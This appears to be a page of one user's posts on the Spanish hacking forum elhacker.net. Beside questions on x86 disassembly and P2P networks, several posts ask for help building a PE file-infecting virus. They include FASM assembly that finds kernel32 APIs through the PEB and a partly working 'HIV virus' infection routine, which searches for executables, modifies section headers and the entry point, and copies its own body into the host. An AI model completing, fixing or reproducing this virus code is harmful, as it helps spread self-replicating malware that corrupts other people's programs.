elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recopilación Tutoriales y Manuales Hacking, Seguridad, Privacidad, Hardware, etc


  Mostrar Temas
Páginas: 1 2 [3] 4
21  Programación / ASM / Como decodificar prefijos de x86 instrucciones 32 bits apropiadamente??? en: 24 Septiembre 2014, 04:33 am
Hola, amigos. Estoy desarrollando un pequeño desensamblador en ensamblador (suena algo redundante, pero no lo es). Tengo una duda. Antes que nada, quiero decir que ya estoy leyendo los manuales de Intel y revisando páginas en internet. (Para que no digan que no investigo).

El problema es el siguiente: Digamos tengo una instruccion X. ¿Como hago para saber si el primer byte que tengo en frente es un opcode en puro, un prefijo, o un opcode extendido?. Antes yo había tratado comparando el byte inicial con los valores asignados por Intel a los prefijos x86, pero ¿que pasa si la instruccion, de casualidad posee el mismo valor en hexadecimal que el prefijo?.

Ah, ¿Será que alguien me puede aclarar si los prefijos cumplen el siguiente orden?



¿Y como hago para reconocer si debería ser un prefijo? Por que según Intel, los prefijos pueden ir en cualquier orden dentro de los 4 primeros bytes (me refiero, LOCK a veces preceder a un SEGMENT OVERRIDE o viceversa=. (Aunque la imagen anterior pareciera decirme lo contrario)

Citar
Intel says:
Groups 1 through 4
may be placed in any order relative to each other.

Si alguien pudiera darme una mano con este problema, estaría muy agradecido. Sé que este tema es algo bastante extenso, pero pienso que aquí al menos podría recibir al menos una orientación. ¿o no? XD.

¿Será que alguien tiene un fragmento de codigo, que sea capaz de reconocer cuando el primer byte es un prefijo o un opcode? Gracias.



22  Programación / ASM / Problema al atrapar excepcion en ensamblador cambiando [fs:0] manualmente (FASM) en: 14 Septiembre 2014, 03:51 am
Hola, estoy desarrollando un programa. El programa busca las APIs sin usar la import table, él programa usa GetProcAddress y LoadLibrary para encontrar todas las APIs que necesita. Pero hay un problema: NO LLAMA A MI EXCEPTION HANDLER CUANDO HAY UNA EXCEPCION!!

El codigo, debería mostrar un mensaje "Exception catched!!" cuando haya una excepcion. Pero el programa sale sin más, aunque curiosamente, no crashea. Aún así la idea es que llame a mi manejador de excepciones, cosa que no hace

Aquí está mi codigo. Está escrito en FASM

Código
  1.  
  2.  
  3. format pe console 4.0
  4.  
  5. section '.text' readable writable executable
  6.  
  7. start:
  8.    call delta_offset       ;Calculates the delta offset
  9.  
  10. delta_offset:
  11.    pop ebp                 ;Save the current address of the delta_offset routine in memory
  12.    sub ebp, delta_offset   ;Current address of delta_offset ´- address of delta_offset at compilation time
  13.                            ;is equal to current address of virus body in memory. Now we can access any part of
  14.                            ;data embebbed in the code using [ebp+variable]
  15.  
  16. finding_kernel32:
  17. mov ebx, [FS : 0x30]        ;FS:0x30 is a pointer to the address of Process Environment Block (PEB)
  18.                                ;Now the Base Pointer (BX) points to the address of PEB in memory
  19.  
  20. mov ebx, [ebx + 0x0C]       ;Now we move 0x0C (12 bytes) from the address of PEB
  21.                                ;We get the value of ebx+0x0c, in other words, the address that has the PEB->Ldr pointer
  22.  
  23.                                ;Now we are in Ldr structure. We move the ebx pointer following the address in the
  24.                                ;PEB->Ldr pointer.
  25.  
  26. mov ebx, [ebx + 0x14]       ; get PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry)
  27. mov ebx, [ebx]            ;2nd Entry
  28. mov ebx, [ebx]            ;3rd Entry
  29. mov ebx, [ebx + 0x10]   ; Get Kernel32 Base
  30. mov [ebp+dwKernelBase] , ebx
  31. add ebx, [ebx+0x3C] ; Start of PE header
  32. mov ebx, [ebx+0x78] ; RVA of export dir
  33. add ebx, [ebp+dwKernelBase]  ; VA of export dir
  34. mov [ebp+dwExportDirectory] , ebx
  35.  
  36. finding_address_of_getprocaddress:
  37. lea edx,[ebp+api_GetProcAddress]    ;Load in ebp the address of the API function name.
  38. mov ecx,[ebp+len_GetProcAddress]    ;Load in ecx the size of the API function name
  39.  
  40. call GetFunctionAddress           ;Call GetFunctionAddress
  41.  
  42. mov [ebp+AGetProcAddressA] , eax    ;The API function address in memory was stored by the
  43.                                        ;GetFunctionAddress function in eax, now we save the address
  44.                                        ;of the GetProcAddress in a variable for later use.
  45.  
  46. finding_address_of_loadlibrary:
  47. lea edx,[ebp+api_LoadLibrary]       ;Load in edx the API function name of LoadLibrary
  48. push edx                            ;edx could be a parameter for an API
  49. push dword [ebp+dwKernelBase]       ;save in the stack the address of the kernel32 library
  50.                                        ;dwKernelBase is used as handle
  51. call eax                            ;Calls a function by its address (eax stores it)
  52.                                        ;Could be GetProcAddress because in the instruction in
  53.                                        ;the line 39 it moves the address of that API from eax
  54.                                        ;and eax has no changes until 47 line.
  55. loading_required_libraries:
  56. mov [ebp+ALoadLibraryA] , eax       ;The last function could return the address of LoadLibrary in
  57.                                        ;in eax. eax register could be used by the last function as a
  58.                                        ;return value.
  59.  
  60.                                        ;Now the eax register contains the address of LoadLibrary
  61. lea edx , [ebp+szUser32]            ;Loads in edx, the library name of User32.dll
  62. push edx                            ;Put the edx value in the stack as a parameter for LoadLibrary
  63.                                        ;I believe that the function could be LoadLibrary because
  64.                                        ;it is an API that requires a string that contains the name of
  65.                                        ;the library that you want to load.
  66. call eax                            ;Call LoadLibrary API
  67.  
  68.    mov [ebp+hUser32], eax
  69.  
  70. finding_addresses_of_apis:
  71.  
  72. lea edx , [ebp+api_MessageBoxA]     ;Loads in edx the address of the name of MessageBoxA API
  73. push edx                            ;Put the name of MessageBoxA as a parameter for a function
  74. push eax                            ;I belive that eax is a handle to the loaded library
  75. mov ebx,[ebp+AGetProcAddressA]      ;Moves to ebx the address of GetProcAddressA
  76. call ebx                            ;Invokes GetProcAddressA using its address
  77.  
  78. mov [ebp+AMessageBoxAA] , eax       ;The last function (could be GetProcAddressA) returns the address of
  79.                                        ;MessageBoxA in eax. We move the address of that API to a variable for
  80.                                        ;later use.
  81.  
  82.                                        ;We start to search for functions inside
  83.                                        ;kernel32.dll
  84. set_exception_handler:
  85.    ;A simple way to set a exception handler, avoiding the
  86.    ;use of APIs that increase the size of the release.
  87.    push exception_handler
  88.    push dword [FS:0]
  89.    mov  [FS:0], esp
  90.  
  91. main:
  92.    push 0                              ;Put the HWND parameter
  93. lea edx,[ebp+szTitle]               ;Put the caption of the MessageBox
  94. push edx
  95. lea edx,[ebp+szMsg]                 ;Put the message body of the MessageBox
  96. push edx
  97. push 0                              ;Buttons type (For example MB_OK)
  98. call dword [ebp+AMessageBoxAA]          ;Calls MessageBoxA API
  99.  
  100. ;The following code tries to make many exceptions
  101. int3    ;Software breakpoints
  102. int3
  103. int3
  104. mov esi, 0  ;Access violation
  105. mov dword [esi], "fail"
  106.  
  107. exit:
  108.  
  109. ret
  110. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  111. ;  <<<<< GetFunctionAddress >>>>>> ;
  112. ; Extracts Function Address From Export Directory and returns it in eax   ;
  113. ; Parameters :  Function name in edx , Length in ecx  ;
  114. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  115.  
  116. GetFunctionAddress:
  117. push ebx    ;Save status of registers before execute the subroutine
  118. push esi    ;to preserve its content. It could make some errors to the
  119. push edi    ;caller function if modify the values that are common to the whole
  120.                ;program
  121.  
  122. mov esi, [ebp+dwExportDirectory]
  123. mov esi, [esi+0x20] ;RVA of ENT
  124. add esi, [ebp+dwKernelBase]  ;VA of ENT
  125. xor ebx,ebx
  126. cld
  127.  
  128. looper:
  129.  inc ebx
  130.  lodsd     ;Load a byte from the string pointed by SI into al register
  131.  add eax , [ebp+dwKernelBase]   ;eax now points to the string of a function
  132.  push esi ;preserve it for the outer loop
  133.  mov esi,eax
  134.  mov edi,edx
  135.  cld       ;The direction flag is clear, this means that the SI and DI pointers are
  136.                    ;incremented. (The instructions works to the forward direction)
  137.  
  138.  push ecx  ;Save ecx. Why?? The next instruction named "repe" decrements the counter.
  139.                    ;Because the ecx contains the length of the API name, we need to save it.
  140.                    ;In other parts of subroutine the program uses ecx register to compare the function
  141.                    ;with the kernel export table.
  142.  
  143.  repe cmpsb ;Compare each byte of the array pointed by DS:SI with the array pointed by ES:DI
  144.                     ;Repeat until the counter is not equal to zero, in other words,
  145.                     ;it only stops when it find a difference or the counter reachs the end of the string
  146.  
  147.  pop ecx   ;Pop the length of the string, and put it in the counter for another loop if it's needed
  148.  pop esi   ;Pop the last stack variable, and put it in esi.
  149.  jne looper
  150.  
  151.  dec ebx
  152.  mov eax,[ebp+dwExportDirectory]
  153.  mov eax,[eax+0x24]   ;RVA of EOT
  154.  add eax,[ebp+dwKernelBase] ;VA of EOT
  155.  movzx eax , word [ebx*2+eax] ;eax now holds the ordinal of our function
  156.  mov ebx,[ebp+dwExportDirectory]
  157.  mov ebx,[ebx+0x1C]   ;RVA of EAT
  158.  add ebx,[ebp+dwKernelBase] ;VA of EAT
  159.  mov ebx,[eax*4+ebx]
  160.  add ebx,[ebp+dwKernelBase]
  161.  mov eax,ebx
  162.  
  163. pop edi     ;Restore the registers to avoid generate a problem
  164. pop esi     ;in the caller function.
  165. pop ebx
  166. ret
  167.  
  168. exception_handler:
  169.    push 0                              ;Put the HWND parameter
  170. lea edx,[ebp+szTitle]               ;Put the caption of the MessageBox
  171. push edx
  172. lea edx,[ebp+szMsgException]                 ;Put the message body of the MessageBox
  173. push edx
  174. push 0                              ;Buttons type (For example MB_OK)
  175. call dword [ebp+AMessageBoxAA]          ;Calls MessageBoxA API
  176.  
  177. ret
  178. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  179. ; Data Shit ;
  180. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  181. szMsgException db 'Exception catched!!', 0
  182. api_ExitProcess dd 0
  183.  
  184. szTitle:  db  "From the heaven",0
  185. szMsg: db "Greetings from hell",0
  186. szUser32 db  "User32.dll",0
  187. hUser32             dd 0
  188. AGetProcAddressA:   dd  0
  189. api_GetProcAddress:   db  "GetProcAddress"
  190. len_GetProcAddress:   dd  $-api_GetProcAddress
  191. ALoadLibraryA: dd  0
  192. api_LoadLibrary:   db  "LoadLibraryA",0
  193. AMessageBoxAA: dd  0
  194. api_MessageBoxA:   db  "MessageBoxA",0
  195. dwKernelBase: dd  0
  196. dwExportDirectory:   dd  0
  197.  

Intenté hacer el siguiente método:

Código
  1. push exception_handler
  2.    push dword [FS:0]
  3.    mov  [FS:0], esp
  4.  

El metodo que describí funciona en este pequeño ejemplo (no es la aplicacion que estoy escribiendo):

Código
  1. format pe console 4.0 ;on 'dos_stub.exe'
  2. include 'C:\fasm\INCLUDE\WIN32AX.inc'
  3.  
  4. .data
  5.    msg_caption db 'SEH handler', 0
  6.    msg_exception db 'I catched an exception!! Amazing!!', 0
  7.  
  8. .code
  9.  
  10. main:
  11.    ;A simple way to set a exception handler, avoiding the
  12.    ;use of APIs that increase the size of the release.
  13.    push exception_handler
  14.    push dword [FS:0]
  15.    mov  [FS:0], esp
  16.  
  17.    mov esi, 0
  18.    mov dword [esi], "Pwnd"
  19.  
  20. exit:
  21.    invoke ExitProcess, 0
  22.  
  23. exception_handler:
  24.    invoke MessageBox, NULL, addr msg_exception, addr msg_caption, MB_OK
  25.    jmp exit
  26.    ret
  27.  
  28. .end main
  29.  
  30.  

Por que en el primer codigo no trabaja, mientras que en el segundo si lo hace??? Alguien puede decirme porqué??? Gracias de antemano, y perdon por hacerlos leer tanto. (XD).

Ah, se me olvidaba, también intenté usar SetUnhandledExceptionFilter (API) para establecer mi funcion como manejador de excepciones, pero no funciono. ¿Será qué el uso que le doy a ciertos registros afecta lo que trato de hacer??
23  Programación / Programación General / Como hace un nodo de una red P2P para descubrir nuevos nodos sin usar un server? en: 5 Septiembre 2014, 03:39 am
Hola, sé que ya pregunté antes, pero esta vez lo hago por una pregunta más especifica: ¿Como hace un peer (nodo) de una red P2P para descubrir otros nodos en la red?? (Sin usar un servidor central que asigne nodos de bootstrap).

Para que no digan que yo no investigo, estuve indagando con ayuda del buscador de la gran G, y basicamente me dice que necesito al menos un servidor que sea capaz de ofrecer informacion basica de la red hacia un nodo que apenas esta tomando contacto con la red.

¿Será que habrá alguna forma de lograr enganchar a la red P2P sin usar servidores centrales? Alguien puede decirme algun programa (preferiblemente open source), que sea capaz de hacer lo que deseo?

Por favor, si pueden explicarmelo estar{ia muy agradecido. Estoy desarrollando una red P2P como proyecto de hobby. Podría usarlo en la Universidad si me lo aceptan.
24  Programación / Programación General / ¿Alguien podría describirme como funciona una red P2P? en: 5 Septiembre 2014, 01:16 am
Hola, quiero comenzar un programa capaz de crear una red P2P como Ares, Gnutella, entre muchos otros ejemplos. Pero no consigo una informacion más o menos sencilla sobre como empezar.

Aclaro que ya he trabajado con Sockets en Windows, esa parte básica ya la conozco bastante.

Disculpen si mi pregunta es demasiado general, es que necesito un poco de ayuda. He buscado en internet pero no dice una implementacion sencilla. Siempre son redes P2P de alta complejidad y con muchos añadidos. Yo solo quiero ligero y simple. Ya busque alternativas simples, pero no son simples. Había una, Tiny P2P, pero ya no es posible obtenerla porque borrar el codigo de donde lo albergaban.

Por favor, ayudenme. Gracias por su ayuda.
25  Seguridad Informática / Análisis y Diseño de Malware / ¿Como añadir el codigo de mi virus a un ejecutable??? en: 31 Agosto 2014, 20:10 pm
Hola, estoy desarrollando un virus y necesito saber como añadirlo al final de la ultima sección. Estoy tratando de seguir los pasos que dice está guía: http://vxheaven.org/lib/static/vdat/tuappend.htm. Pero no me ha servido.

Por favor si alguien me puede decir una guia (preferiblemente muy detallada si es posible) de como lograrlo. No he podido lograr infectar un ejecutable. Siempre mi virus lo corrompe. Por favor, ayudenme. Puedo postear parte del source si es necesario.

Gracias de antemano
26  Seguridad Informática / Análisis y Diseño de Malware / Como sobrescribir la sección .text de un EXE para poner alli un virus??? en: 25 Agosto 2014, 23:29 pm
Hola, estoy desarrollando un virus sencillo que sobreescribe la sección .text. El virus, cuando está en su primera generacion, funciona aparentemente bien.

Use OllyDbg para ver si había inyectado el codigo dentro del ejecutable, y si lo hizo. Pero cuando ejecuto el archivo infectado, el virus crashea.

Quiero aclarar algo: Estoy usando un metodo para buscar las APIs usando su direccion (solo con GetProcAddress y LoadLibrary). El metodo funciona perfecto, por esa razon no quiero que piense que falta alguna dependencia o por el estilo.

Por favor ayudenme. Diganme como hacer para que el virus en su segunda generacion funcione. Ya he estado buscando por toda la internet, y no he podido buscar la forma de hacerlo. Ya visite VXHeavens, la pagina referente en materia de virus, pero aun asi no encuentro como hacerlo.

Gracias de antemano.
27  Programación / ASM / Como obtener el handle de kernel32 library??? en: 24 Agosto 2014, 23:01 pm
Hola, estoy escribiendo un virus sencillo. El virus ya es capaz de encontrar kernel32 en memoria y busca desde la export table las APIs que necesita. Pero hay un problema: GetProcAddress exige como parametro un handle hacia una libreria previamente cargada por LoadLibrary. Pero kernel32 ya viene cargado por defecto, entonces, como hago para obtener el handle??

O será que puedo pasar el nombre de la funcion deseada a GetProcAddress sin preocuparme por ello? Gracias de antemano por sus respuestas
28  Foros Generales / Sugerencias y dudas sobre el Foro / Hace falta completar la wiki en: 23 Agosto 2014, 20:35 pm
Hola, no sé si este será un buen lugar para dejar mi post, pero deberían de completar la wiki. Podría colaborarles a completarla en cuanto aprenda bastante, porque hace falta que todos los conocimientos que están albergados en este foro sean compilados en un solo lugar, facil de ubicar, que permita a los principiantes iniciar en la creacion de malware y hacking en general(propositos educativos).

29  Seguridad Informática / Análisis y Diseño de Malware / Como establecer el tamaño del EXE en los PE Header correctamente?? en: 23 Agosto 2014, 18:18 pm
Hola, estoy desarrollando mi primer virus simple. El virus se añade al final de la ultima sección del ejecutable, (.text). Pero hay problema, el tamaño que esta guardado dentro del ejecutable (según mi herramienta CFF Explorer VIII, hecha por NTCore) no coincide con su tamaño fisico. Yo sé que existe algo llamado tamaño fisico (physical size) y tamaño virtual (virtual size).

He leido bastante la documentacion de Microsoft, no he podido encontrar como modificar y establecer correctamente los valores de esos campos, ni siquiera sé en donde están posicionados dentro de la cabeceras internas del ejecutable porque no puedo verlos usando mi herramienta (comentada anteriormente).

Si alguien pudiera decirme en que offset estan esos campos y como modificarlos adecuadamente para reflejar los cambios hechos por mi virus, estaría muy agradecido.

Gracias de antemano por sus respuestas.
30  Programación / ASM / Me rindo. Mi codigo no quiere modificar el PE Header, y cuando lo intenta, falla en: 22 Agosto 2014, 23:15 pm
Hola, sé que ya he publicado otro post anterior, pero he decidido abrir uno nuevo en donde pueda explicar mejor mi problema. Antes que nada, el codigo está escrito en FASM, para que lo puedan compilar. El problema está en la rutina infect_file. Cuando llega al punto de modificar el PE Header en memoria, falla.

Lo he comentado en ingles, porque pienso que es mejor. No sé si será algun impedimento para que me puedan ayudar. Por favor, es lo unico que me falta para terminar mi proyecto de malware. Gracias por sus respuestas


Código
  1. ;This is a stub of the HIV virus.
  2. ;It works properly. This is only the infection routines.
  3.  
  4. ;The idea is make the infection module here, and after glue it with
  5. ;the payload and another modules.
  6.  
  7. ;The infection module must explore all USB removable drives
  8. ;and search in them for executables to infect.
  9.  
  10. format pe console 4.0
  11. include 'C:\fasm\INCLUDE\WIN32AX.INC'
  12.  
  13. virus_size_before_compilation equ (end_of_file-main)
  14. GENERIC_READWRITE equ 0C0000000h
  15.  
  16. ; Declare a macro to make buffers
  17. macro dup label,lcount
  18. { forward
  19.   label#:
  20.   common
  21.    repeat lcount
  22.   forward
  23.    db      0
  24.   common
  25.    end repeat }
  26.  
  27.  
  28. section '.text' readable writable executable
  29.  
  30. main:
  31.    call delta
  32. delta:
  33.    pop ebp
  34.    sub ebp, delta
  35.  
  36. adjust_datasegment:
  37.    ;push cs
  38.    ;pop ds
  39.    ;push cs
  40.    ;pop es
  41.  
  42. explore_directory:
  43.                         ;Push parameters for the function
  44.    push FIND_STRUCT     ;Put in the stack the address of FIND_STRUCT
  45.    push file_extension  ;File extension
  46.    call [FindFirstFileA]   ; find the first *.fly
  47.                        ;Always, remember that the API address can be founded using
  48.                        ;brackets in the API name, like this [FindFirstFile]
  49.  
  50.    ;invoke      FindFirstFile,file_extension, FIND_STRUCT
  51.  
  52.    mov dword [find_handle], eax ;Save find handler returned by FindFirstFile
  53.  
  54. find_more_files:
  55.    cmp eax, 0
  56.    je exit
  57.    call infect_file
  58.  
  59. findnextfile:
  60.  
  61.    push FIND_STRUCT
  62.    push dword[find_handle] ;I believe that the FindNextFile function expects
  63.                            ;the address of the find_handle, instead its value.
  64.    call [FindNextFile]
  65.    ;invoke FindNextFile, dword [find_handle], FIND_STRUCT
  66.    jmp find_more_files
  67.  
  68. infect_file:
  69.    ;-----------------------------------------------------------------------
  70.    ;When you work with files, You must be sure that the file was
  71.    ;successfully opened. If you use an incorrect or invalid mode opening,
  72.    ;you'll see that you can not retrieve data from the file. To see if
  73.    ;you've really recovered bytes from the file, type in the file a text
  74.    ;string and show it using MessageBox API.
  75.    ;------------------------------------------------------------------------
  76.  
  77.    ;invoke  CreateFile, cFileName, 4, 0, 0, 4, FILE_ATTRIBUTE_NORMAL, 0
  78.    ;invoke  WriteFile, eax, sign, 22, byteswritten, 0
  79.    ;invoke  CloseHandle, eax
  80.  
  81.    ;I use the 4 for the open mode because it means "Read/Write".
  82.    ;I open the file and Get its filesize for later use.
  83.    ;The handle was stored in eax by the API
  84.  
  85.    invoke CreateFile, cFileName, GENERIC_READ, 0, 0, 4, FILE_ATTRIBUTE_NORMAL, 0
  86.    mov [file_handle], eax
  87.  
  88.    ;I get the filesize of the host, and move it to a variable.
  89.    ;This data could be interesting in a near future
  90.    invoke GetFileSize, [file_handle], 0
  91.    mov [host_size], eax
  92.  
  93.    ;Calculates the possible new size of the executable
  94.    ;add eax, virus_size
  95.    ;mov [infected_size], eax
  96.  
  97.    ;Read 8000 bytes from the file
  98.    invoke  ReadFile, [file_handle], buffer, 8000, bytesread, 0 ; Now read the full file
  99.  
  100.    ;Debugging purpouses.
  101.    invoke MessageBox, NULL, addr msg, addr msg_caption, MB_OK ; Easy way of outputing               the text
  102.    invoke MessageBox, NULL, addr cFileName, addr msg_caption, MB_OK
  103.  
  104.    ;You must verify that the API has successfully opened and read bytes from the file
  105.    invoke MessageBox, NULL, addr buffer, addr msg_caption, MB_OK
  106.  
  107.    lea edx, [buffer]       ;Load in edx the address of buffer
  108.                            ;I use the edx register as a pointer to the buffer.
  109.  
  110.                            ;Now I am in the DOS header.
  111.    cmp word [edx], "MZ"    ;Check if the file is a real executable
  112.    jnz bad_executable
  113.    add edx, [edx+60]       ;This instruction modify the pointer.
  114.                            ;Now the edx register points to a position
  115.                            ;60 bytes (3C in hex) after the begin of buffer
  116.                            ;Now I am in the PE Header
  117.  
  118.    cmp word [edx], "PE"    ;I check if the executable has a valid PE header
  119.                            ;This is very useful to know if I am infecting
  120.                            ;an old DOS program instead a Win32 executable.
  121.    jnz bad_executable
  122.    call good_executable
  123.  
  124.    ;After this point, the program crashes in somewhere of the code
  125.    mov esi, edx ; esi = peheader
  126.    add esi, 120 ; esi = dirheader
  127.    mov eax, [edx+116] ; eax = number of dir entries
  128.    shl eax, 3 ; eax = eax*8
  129.    add esi, eax ; esi = first section header
  130.    movzx eax, word [edx+6] ; eax = number of sections
  131.    dec eax ; eax = eax-1
  132.    imul eax,eax,40
  133.    add esi, eax ; esi = ptr to last section header
  134.    or byte [esi+39], 0F0h ; give section necessary rights
  135.    mov ecx, virus_size ; ecx = size of virus
  136.    mov ebx, [esi+16] ; ebx = physical size of section
  137.    add [esi+16], ecx ; increase section physical size
  138.    add [esi+8], ecx ; increase section virtual size
  139.    push dword [esi+8] ; push section virtual size
  140.    pop dword [edx+80] ; imagesize = section virtual size
  141.    mov eax, [esi+12] ; eax = section rva
  142.    add [edx+80], eax ; add it to the imagesize
  143.    add edi, [esi+20] ; edi = section offset
  144.    add edi, ebx ; edi = end of section
  145.    add eax, ebx ; eax = rva of virus
  146.    xchg [edx+40], eax ; swap it with old entrypoint
  147.    add eax, [edx+52] ; add imagebase to it
  148.    mov [ebp+OldEip], eax ; save it
  149.    lea esi, [ebp+main] ; esi = virus start
  150.    rep movsb ; edi = ptr to end of file
  151.    clc ; indicate sucess
  152.  
  153.    invoke MessageBox, NULL, addr end_message, addr msg_caption, MB_OK
  154.  
  155.    ret
  156.  
  157. good_executable:
  158.    invoke MessageBox, NULL, addr msg_found, addr msg_caption, MB_OK
  159.    ret
  160.  
  161. bad_executable:
  162.    invoke MessageBox, NULL, addr msg_not_found, addr msg_caption, MB_OK
  163.    ret
  164.  
  165.  
  166.  
  167. exit:
  168.    invoke ExitProcess, 0
  169.  
  170. ;----------------------------------------------------------------------
  171. ;   In this place you can find all variables and constants used
  172. ;by the HIV virus. Please, always try to put the needed variables here
  173. ;-----------------------------------------------------------------------
  174.  
  175. datazone:
  176.    ;This buffer will store parts of the whole file.
  177.    buffer rb 8000
  178.  
  179.    ;Strings zone...
  180.    end_message db 'The file was sucessfully infected...', 0
  181.    msg_found  db      'I have found a Real EXE!!!...', 0
  182.    msg_not_found db  'The current exe file is invalid...', 0
  183.    file_signal db 'X'
  184.    end_msg     db      'End of program', 0
  185.    msg         db      'File founded', 0
  186.    msg_caption db      'Assembly program...', 0
  187.    sign        db      'Sorry, You have HIV...', 0
  188.    byteswritten dd      ?
  189.    bytesread    dd      ?
  190.  
  191.    ;Variables needed by the infection function
  192.    file_handle  dd      ?
  193.    host_size dd ?
  194.    map_handle dd ?
  195.    infected_size dd ?
  196.    virus_size dd virus_size_before_compilation
  197.    OldEip  dd  ?
  198.  
  199.    ;Variables used by the FindFirstFile and FindNextFile
  200.    file_extension db '*.fly', 0
  201.    find_handle     dd 0              ; handles/other stuff..
  202.    FIND_STRUCT:                      ; find structure used with searching
  203.        dwFileAttributes    dd 0
  204.        ftCreationTime      dd 0,0
  205.        ftLastAccessTime    dd 0,0
  206.        ftLastWriteTime     dd 0,0
  207.        nFileSizeHigh       dd 0
  208.        nFileSizeLow        dd 0
  209.        dwReserved0         dd 0
  210.        dwReserved1         dd 0
  211.        dup         cFileName, 256        ; found file buffer
  212.        dup         cAlternate, 14
  213. end_of_file:
  214.  
  215. .end main
  216.  
  217.  
Páginas: 1 2 [3] 4
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines